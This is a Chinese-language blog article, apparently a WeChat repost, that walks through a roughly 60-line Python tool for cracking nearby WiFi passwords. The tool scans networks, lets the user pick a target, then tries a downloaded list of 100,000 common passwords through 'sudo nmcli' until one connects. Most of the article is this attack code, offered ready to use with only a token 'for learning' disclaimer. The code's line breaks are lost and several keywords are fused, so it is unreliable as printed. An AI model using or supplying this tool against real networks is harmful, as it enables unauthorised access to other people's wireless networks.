解锁WiFi密码，我只用了60行代码.... 2021-12-31 15:00
以下文章来源于平凡而诗意，作者Jackpop
WiFi现在已经遍布我们生活方方面面，如今，如论到工作单位，还是租住的房子，或者一家餐厅，随处都可以连上WiFi。
因此，我们对WiFi密码的需求也没有之前那么迫切了。
如何破解WiFi密码？
本文，将会通过Python教大家如何实现，这里纯粹是为了学习用途。
1. WiFi列表
首先，我们需要获取附近的WiFi列表。
下面，就来写一个函数来获取附近的WiFi列表，函数命名为display_targets：
def display_targets(networks, security_type): print("Select a target: n") rows, columns = os.popen("stty size", "r").read().split() for i in range(len(networks)): width = len(str(str(i+1)+". "+networks[i]+security_type[i]))+2 spacer = " " if (int(columns) >= 100): calc = int((int(columns)-int(width))*0.75) else: calc = int(columns)-int(width) for index in range(calc): spacer += "." if index == (calc-1): spacer += " "
print(str(i+1)+". "+networks[i]+spacer+security_type[i])
这里，我们会用到ssid工具包，用来获取附近的WiFi列表，存入到参数networks。
2. 选择WiFi
获取WiFi列表之后，下一步要做的就是选择我们想要连接的WiFi，
def prompt_for_target_choice(max): whileTrue: try: selected = int(input("nEnter number of target: ")) if(selected >= 1and selected <= max): return selected - 1 except Exception as e: ignore = e
print("Invalid choice: Please pick a number between 1 and " + str(max))
这里很简单，就是一些通用的Python功能。
3. 暴力破解
目前已经获取并且选择了想要连接的WiFi，那么如何获取到它的密码呢？
这里要用到一种比较常见的方式：暴力破解。
这里，要用到Github上一个项目，它收集了最常用的10万个WiFi密码。我们就用着10万个密码暴力解锁WiFi即可。
def brute_force(selected_network, passwords, args): for password in passwords: # necessary due to NetworkManager restart after unsuccessful attempt at login password = password.strip() # when when obtain password from url we need the decode utf-8 however we doesnt when reading from file if isinstance(password, str): decoded_line = password else: decoded_line = password.decode("utf-8") if args.verbose isTrue: print(bcolors.HEADER+"** TESTING **: with password "" + decoded_line+"""+bcolors.ENDC) if (len(decoded_line) >= 8): time.sleep(3) creds = os.popen("sudo nmcli dev wifi connect " + selected_network+" password "+decoded_line).read() # print(creds) if ("Error:"in creds.strip()): if args.verbose isTrue: print(bcolors.FAIL+"** TESTING **: password "" + decoded_line+"" failed."+bcolors.ENDC) else: sys.exit(bcolors.OKGREEN+"** KEY FOUND! **: password "" + decoded_line+"" succeeded."+bcolors.ENDC) else: if args.verbose isTrue: print(bcolors.OKCYAN+"** TESTING **: password "" + decoded_line+"" too short, passing."+bcolors.ENDC)
print(bcolors.FAIL+"** RESULTS **: All passwords failed :("+bcolors.ENDC)
核心功能3个函数就完成了，只用了60行Python代码！
下面就把它们串联在一起：
def main(): require_root() args = argument_parser() # The user chose to supplied their own url if args.url isnotNone: passwords = fetch_password_from_url(args.url) # user elect to read passwords form a file elif args.file isnotNone: file = open(args.file, "r") passwords = file.readlines() ifnot passwords: print("Password file cannot be empty!") exit(0) file.close() else: # fallback to the default list as the user didnt supplied a password list default_url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt" passwords = fetch_password_from_url(default_url) # grabbing the list of the network ssids func_call = start(1) networks = func_call[0] security_type = func_call[1] ifnot networks: print("No networks found!") sys.exit(-1) display_targets(networks, security_type) max = len(networks) pick = prompt_for_target_choice(max) target = networks[pick] print("nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [--verbose] flag at start.")
brute_force(target, passwords, args)
执行函数，就会在命令行下显示附近的WiFi列表，选择之后就开始逐个尝试密码。
不同的颜色代表不同不同的结果：
红色：测试失败
绿色：破解成功
紫色：测试中
现在，是不是发现这个看上去很复杂的事情变得简单许多？
Python爱好者社区
人生苦短，我用Python。分享Python相关的技术文章、工具资源、精选课程、视频教程、热点资讯、学习资料等。每天自动更新和推送。
91篇原创内容
公众号
